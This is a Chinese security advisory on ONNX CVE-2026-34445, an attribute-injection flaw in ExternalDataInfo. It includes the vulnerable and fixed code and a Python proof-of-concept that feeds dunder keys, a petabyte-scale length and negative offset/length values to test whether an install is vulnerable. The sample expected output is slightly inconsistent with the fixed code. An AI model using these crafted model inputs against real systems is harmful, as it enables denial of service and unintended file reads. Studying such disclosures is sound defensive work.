ONNX ExternalDataInfo 属性注入漏洞 [ CVE-2026-34445 ]
·
基本信息
| 项目 | 内容 |
|---|---|
| CVE编号 | CVE-2026-34445 |
| 漏洞名称 | ONNX ExternalDataInfo 属性注入/对象状态损坏漏洞 |
| 影响组件 | Open Neural Network Exchange (ONNX) |
| 影响版本 | < 1.21.0 |
| 修复版本 | 1.21.0 |
| 漏洞类型 | CWE-915: 动态确定对象属性的不当控制修改 CWE-400: 未控制的资源消耗 CWE-20: 不当的输入验证 |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H) |
| 参考链接 | https://github.com/onnx/onnx/security/advisories/GHSA-538c-55jv-c5g9 https://github.com/onnx/onnx/pull/7751 https://github.com/onnx/onnx/commit/e30c6935d67cc3eca2fa284e37248e7c0036c46b |
一、漏洞描述
Open Neural Network Exchange (ONNX) 是一个开放的机器学习互操作性标准。在其 1.21.0 版本之前,ExternalDataInfo 类在处理 ONNX 模型文件的外部数据元数据时存在安全缺陷。
该类使用 Python 的 setattr() 函数直接从模型文件中加载元数据(如文件路径、数据长度等),但未对文件中的"键"(keys)进行有效性验证。攻击者可以构造恶意的 ONNX 模型文件,通过注入任意属性键来覆盖对象的内部属性,导致对象状态损坏、拒绝服务或其他未预期的行为。
二、漏洞危害
2.1 攻击向量概述
| 攻击类型 | 危害描述 | 严重程度 |
|---|---|---|
| Dunder属性注入 | 注入 __class__、__dict__ 等双下划线属性,破坏 Python 对象内部状态,可能导致类型混淆攻击 |
高 |
| 任意属性注入 | 在 ExternalDataInfo 对象上创建任意属性,为后续代码逻辑埋下安全隐患 |
中 |
| 拒绝服务 (DoS) | 将 length 设置为极大值(如 9PB),导致系统尝试分配海量内存,引发 OOM 崩溃 |
高 |
| 访问绕过 | 设置负值 offset(如 -1),可能导致 file.seek() 读取文件的非预期部分 |
中 |
| 文件读取绕过 | 设置负值 length 导致 file.read(-1) 读取整个文件,绕过预期的大小限制 |
中 |
2.2 CVSS 评分详情
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
攻击向量 (AV): Network - 可通过网络远程攻击
攻击复杂度 (AC): Low - 攻击条件简单,无需特殊条件
所需权限 (PR): None - 无需任何权限
用户交互 (UI): None - 无需用户交互
影响范围 (S): Unchanged - 不影响其他组件
机密性影响 (C): Low - 可能导致部分信息泄露
完整性影响 (I): Low - 可能导致部分数据被修改
可用性影响 (A): High - 可能导致系统完全不可用
基础分: 8.6 (HIGH)
三、漏洞成因
3.1 漏洞代码位置
文件: onnx/external_data_helper.py
类: ExternalDataInfo
方法: __init__()
3.2 漏洞代码分析
存在漏洞的代码(v1.20.0及之前):
class ExternalDataInfo:
def __init__(self, tensor: TensorProto) -> None:
self.location = ""
self.offset: Optional[int] = None
self.length: Optional[int] = None
self.checksum: Optional[str] = None
# 漏洞点:直接遍历 external_data 并执行 setattr,无白名单校验
for entry in tensor.external_data:
# entry.key 和 entry.value 完全来自用户可控的模型文件
setattr(self, entry.key, entry.value) # <-- 危险操作!
3.3 漏洞根因
- 缺乏输入验证:
tensor.external_data是模型文件中的StringStringEntryProto键值对,攻击者可以构造任意 key。 - 直接 setattr: 使用
setattr(self, key, value)直接将外部数据设置为对象属性,没有对 key 进行白名单限制。 - 缺乏边界检查:
offset和length没有进行非负整数校验。
3.4 修复方案(v1.21.0)
# 定义允许的外部数据键白名单
_ALLOWED_EXTERNAL_DATA_KEYS = frozenset(
{"location", "offset", "length", "checksum", "basepath"}
)
class ExternalDataInfo:
def __init__(self, tensor: TensorProto) -> None:
self.location = ""
self.offset: Optional[int] = None
self.length: Optional[int] = None
self.checksum: Optional[str] = None
self.basepath: str = ""
unknown_keys = []
for entry in tensor.external_data:
if entry.key not in _ALLOWED_EXTERNAL_DATA_KEYS:
# Layer 1: 白名单校验,拒绝未知 key
unknown_keys.append(entry.key)
continue
# Layer 2: 边界校验,offset/length 必须为非负整数
if entry.key in ("offset", "length"):
try:
value = int(entry.value)
if value < 0:
raise ValueError(
f"{entry.key} must be non-negative, got {value}"
)
except ValueError as e:
raise ValueError(
f"Invalid {entry.key} value: {entry.value}"
) from e
setattr(self, entry.key, entry.value)
# 对未知 key 发出警告
if unknown_keys:
warnings.warn(
f"Ignoring unknown external_data keys: {unknown_keys}"
)
四、POC(概念验证)
4.1 环境准备
# 安装受影响的 ONNX 版本
pip install onnx==1.20.0 numpy protobuf
# 验证版本
python -c "import onnx; print(onnx.__version__)"
4.2 POC 代码
创建文件 poc_cve_2026_34445.py:
#!/usr/bin/env python3
"""
CVE-2026-34445 / GHSA-538c-55jv-c5g9
ONNX ExternalDataInfo 属性注入漏洞 POC
"""
import warnings
import onnx
from onnx.external_data_helper import ExternalDataInfo
from onnx import TensorProto
def test_attribute_injection():
"""
测试1: 属性注入攻击
验证是否可以将任意属性注入 ExternalDataInfo 对象
"""
print("=" * 70)
print("[测试1] 属性注入攻击 (CWE-915)")
print("=" * 70)
# 创建一个 TensorProto,模拟恶意模型中的张量
tensor = TensorProto()
tensor.name = "malicious_tensor"
# 添加正常的外部数据字段
location = tensor.external_data.add()
location.key = "location"
location.value = "model.bin"
# 添加恶意属性 - 尝试覆盖内部属性
malicious_attrs = [
("__class__", "hacked_class"), # Dunder 属性
("__dict__", "hacked_dict"), # 对象字典
("__module__", "hacked_module"), # 模块名
("evil_attribute", "malicious_value"), # 任意自定义属性
("_private_attr", "private_value"), # 伪私有属性
]
for key, value in malicious_attrs:
entry = tensor.external_data.add()
entry.key = key
entry.value = value
print(f"[+] 构造的 TensorProto 包含 {len(tensor.external_data)} 个 external_data 条目:")
for e in tensor.external_data:
print(f" - key: '{e.key}' = '{e.value}'")
# 捕获警告(修复版本会发出警告)
with warnings.catch_warnings(record=True) as w:
warnings.simplefilter("always")
try:
info = ExternalDataInfo(tensor)
print(f"\n[+] ExternalDataInfo 对象创建成功")
# 检查哪些恶意属性被成功注入
injected = []
for key, expected in malicious_attrs:
if hasattr(info, key):
actual = getattr(info, key)
injected.append((key, actual))
print(f" [!] 属性注入成功: '{key}' = '{actual}'")
if injected:
print(f"\n[漏洞确认] 以下非标准属性被注入到对象中:")
for key, val in injected:
print(f" - {key}: {val}")
# 检查对象 __dict__
print(f"\n[对象内部状态] __dict__: {info.__dict__}")
return True
else:
print("\n[-] 未发现注入属性,可能已修复")
return False
except Exception as e:
print(f"\n[-] 发生异常: {type(e).__name__}: {e}")
if "whitelist" in str(e).lower() or "not in" in str(e).lower():
print("[+] 可能是修复版本的防护机制")
return False
def test_dos_attack():
"""
测试2: 拒绝服务攻击
通过设置极大的 length 值导致内存分配失败
"""
print("\n" + "=" * 70)
print("[测试2] 拒绝服务攻击 (CWE-400) - 超大 length")
print("=" * 70)
tensor = TensorProto()
tensor.name = "dos_tensor"
location = tensor.external_data.add()
location.key = "location"
location.value = "dummy.bin"
# 设置极大的 length(9PB)
length = tensor.external_data.add()
length.key = "length"
length.value = "9007199254740992" # 9 Petabytes
print(f"[+] 构造恶意 Tensor,length = {length.value} (9PB)")
try:
info = ExternalDataInfo(tensor)
print(f"[+] ExternalDataInfo 创建成功")
print(f" - length 值: {info.length}")
# 尝试模拟加载外部数据时的内存分配
if info.length:
length_int = int(info.length)
print(f" [!] 如果加载此数据,将尝试分配 {length_int / (1024**5):.2f} PB 内存!")
print(" [!] 这将导致系统 OOM 崩溃")
return True
except ValueError as e:
print(f"[+] 修复版本行为: 检测到非法值,抛出 ValueError: {e}")
return False
except Exception as e:
print(f"[-] 其他异常: {type(e).__name__}: {e}")
return False
def test_negative_offset():
"""
测试3: 负偏移攻击
负 offset 可能导致文件读取位置异常
"""
print("\n" + "=" * 70)
print("[测试3] 负偏移攻击 - 负 offset 值")
print("=" * 70)
tensor = TensorProto()
tensor.name = "offset_attack_tensor"
location = tensor.external_data.add()
location.key = "location"
location.value = "target.bin"
# 设置负 offset
offset = tensor.external_data.add()
offset.key = "offset"
offset.value = "-1" # 负偏移
print(f"[+] 构造恶意 Tensor,offset = {offset.value}")
try:
info = ExternalDataInfo(tensor)
print(f"[+] ExternalDataInfo 创建成功")
print(f" - offset 值: {info.offset}")
if int(info.offset) < 0:
print(" [!] 漏洞确认: offset 可以为负值!")
print(" [!] 这可能导致 file.seek(-1) 产生非预期行为")
return True
except ValueError as e:
print(f"[+] 修复版本行为: 拒绝负值 offset: {e}")
return False
except Exception as e:
print(f"[-] 其他异常: {type(e).__name__}: {e}")
return False
def test_negative_length():
"""
测试4: 负 length 攻击
负 length 会导致 file.read(-1) 读取整个文件
"""
print("\n" + "=" * 70)
print("[测试4] 负 length 攻击 - 负 length 值")
print("=" * 70)
tensor = TensorProto()
tensor.name = "length_attack_tensor"
location = tensor.external_data.add()
location.key = "location"
location.value = "secret.bin"
# 设置负 length
length = tensor.external_data.add()
length.key = "length"
length.value = "-100"
print(f"[+] 构造恶意 Tensor,length = {length.value}")
try:
info = ExternalDataInfo(tensor)
print(f"[+] ExternalDataInfo 创建成功")
print(f" - length 值: {info.length}")
if int(info.length) < 0:
print(" [!] 漏洞确认: length 可以为负值!")
print(" [!] 这将导致 file.read(-1) 读取整个文件,绕过大小限制")
return True
except ValueError as e:
print(f"[+] 修复版本行为: 拒绝负值 length: {e}")
return False
except Exception as e:
print(f"[-] 其他异常: {type(e).__name__}: {e}")
return False
def show_version_info():
"""显示版本信息"""
print("\n" + "=" * 70)
print("[环境信息]")
print("=" * 70)
print(f"ONNX 版本: {onnx.__version__}")
print(f"Python 版本: {__import__('sys').version}")
# 检查是否存在白名单
try:
from onnx.external_data_helper import _ALLOWED_EXTERNAL_DATA_KEYS
print(f"\n修复机制: 检测到 _ALLOWED_EXTERNAL_DATA_KEYS")
print(f"允许字段: {_ALLOWED_EXTERNAL_DATA_KEYS}")
return True
except ImportError:
print("\n漏洞版本: 未检测到白名单机制")
return False
if __name__ == "__main__":
print("""
============================================================
CVE-2026-34445 / GHSA-538c-55jv-c5g9
ONNX ExternalDataInfo 属性注入漏洞 POC
============================================================
""")
# 显示环境信息
is_patched = show_version_info()
# 运行测试
results = []
results.append(("属性注入", test_attribute_injection()))
results.append(("DoS攻击", test_dos_attack()))
results.append(("负偏移", test_negative_offset()))
results.append(("负长度", test_negative_length()))
# 总结
print("\n" + "=" * 70)
print("[测试结果汇总]")
print("=" * 70)
vulnerable_count = sum(1 for _, r in results if r)
for test_name, is_vulnerable in results:
status = "存在漏洞" if is_vulnerable else "已修复/无漏洞"
print(f" {test_name}: {status}")
print(f"\n[*] 检测到 {vulnerable_count}/4 个测试项存在漏洞")
if vulnerable_count > 0 and not is_patched:
print("\n[!] 结论: 当前 ONNX 版本存在 CVE-2026-34445 漏洞!")
print("[!] 建议: 立即升级到 ONNX >= 1.21.0")
elif vulnerable_count == 0 and is_patched:
print("\n[+] 结论: 当前 ONNX 版本已修复 CVE-2026-34445")
else:
print("\n[?] 结论: 测试结果不一致,请手动验证")
4.3 运行 POC
python poc_cve_2026_34445.py
4.4 预期输出(漏洞版本 < 1.21.0)
[测试1] 属性注入攻击 (CWE-915)
============================================================
[+] 构造的 TensorProto 包含 6 个 external_data 条目:
- key: 'location' = 'model.bin'
- key: '__class__' = 'hacked_class'
...
[!] 属性注入成功: '__class__' = 'hacked_class'
[!] 属性注入成功: 'evil_attribute' = 'malicious_value'
...
[漏洞确认] 以下非标准属性被注入到对象中
[测试2] 拒绝服务攻击 (CWE-400)
============================================================
[!] 如果加载此数据,将尝试分配 8.00 PB 内存!
[!] 这将导致系统 OOM 崩溃
[!] 结论: 当前 ONNX 版本存在 CVE-2026-34445 漏洞!
4.5 预期输出(修复版本 >= 1.21.0)
[环境信息]
修复机制: 检测到 _ALLOWED_EXTERNAL_DATA_KEYS
允许字段: {'location', 'offset', 'length', 'checksum', 'basepath'}
[测试1] 属性注入攻击 (CWE-915)
============================================================
[+] 修复版本行为: 检测到非法值,抛出 ValueError
[+] 结论: 当前 ONNX 版本已修复 CVE-2026-34445
五、修复建议
5.1 临时缓解措施
- 输入验证: 在加载外部模型前,使用 ONNX 的 checker 工具验证模型
- 沙箱环境: 在隔离环境中加载不可信的 ONNX 模型
- 资源限制: 使用容器限制内存使用,防止 DoS 攻击
5.2 官方修复方案
强烈建议升级到 ONNX 1.21.0 或更高版本:
pip install --upgrade onnx>=1.21.0
5.3 三层防御架构
官方修复采用了纵深防御策略:
| 防御层 | 功能 | 位置 |
|---|---|---|
| Layer 1 | 属性白名单校验 | ExternalDataInfo.__init__ |
| Layer 2 | 非负整数边界校验 | ExternalDataInfo.__init__ |
| Layer 3 | 文件大小验证 | load_external_data_for_tensor() |
六、时间线
| 时间 | 事件 |
|---|---|
| 2026-03-17 | GitHub Security Advisory 发布 (GHSA-538c-55jv-c5g9) |
| 2026-03-17 | PR #7751 合并到 main 分支 |
| 2026-04-01 | CVE-2026-34445 正式分配并录入 NVD |
| 2026-04-01 | ONNX 1.21.0 发布,包含安全修复 |
免责声明
本报告仅供安全研究和授权测试使用。未经授权对他人系统进行安全测试属于违法行为,请遵守相关法律法规。使用本报告中的信息所造成的任何后果,与报告作者无关。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)